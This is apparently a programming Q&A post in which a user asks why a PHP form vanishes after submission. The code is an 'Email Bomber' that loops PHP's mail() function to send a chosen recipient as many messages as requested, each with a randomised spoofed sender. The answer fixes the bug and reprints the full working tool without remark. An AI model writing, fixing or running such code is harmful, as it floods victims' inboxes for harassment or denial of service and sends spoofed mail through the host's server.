Keep my form when echoing - php

Question

For some reason whenever this script get's execited to the point where it is suppose to echo out "IT WORKED!", the message displays but the form that is suppose to be above it disapears.
My Code:
<?php
$message = $_REQUEST['message'];
$email = $_REQUEST['email'];
$times = $_REQUEST['times'];
$subject = $_REQUEST['subject'];
$to = $_REQUEST['to'];
for ($i=1; $i<=$times; $i++) {
mail( "$to", "$subject", $message, "From:" . rand() . "#$email" ) ;
}
?>
<form method="POST" id="email">
<h1>Email Bomber</h1>
<fieldset id="inputs">
<input name="times" type="text" placeholder="How Many Emails" autofocus required>
<input name="email" type="text" placeholder="Email Suffix" autofocus required>
<input name="to" type="email" placeholder="Who Do You Want To Email" autofocus required>
<input name="subject" type="text" placeholder="Email Subject" autofocus required>
<textarea name="message" placeholder="The Email Message" rows="15" cols="40"></textarea>
</fieldset>
<fieldset id="actions">
<input type="submit" id="submit" name="Send" value="Send Email">
</fieldset>
</form>
<?php
if (isset($_REQUEST['message'])) {
echo "IT WORKED!";
}
?>

Answer 1

Should be :
PHP code :
<?php
if (isset($_REQUEST['Send'])) {
$message = $_REQUEST['message'];
$email = $_REQUEST['email'];
$times = $_REQUEST['times'];
$subject = $_REQUEST['subject'];
$to = $_REQUEST['to'];
for ($i=1; $i<=$times; $i++) {
mail( "$to", "$subject", $message, "From:" . rand() . "#$email" ) ;
}
echo "IT WORKED!";
}
?>
HTML :
<form method="POST" id="email" action="#">
<h1>Email Bomber</h1>
<fieldset id="inputs">
<input name="times" type="text" placeholder="How Many Emails" autofocus required>
<input name="email" type="text" placeholder="Email Suffix" autofocus required>
<input name="to" type="email" placeholder="Who Do You Want To Email" autofocus required>
<input name="subject" type="text" placeholder="Email Subject" autofocus required>
<textarea name="message" placeholder="The Email Message" rows="15" cols="40"></textarea>
</fieldset>
<fieldset id="actions">
<input type="submit" id="submit" name="Send" value="Send Email">
</fieldset>
</form>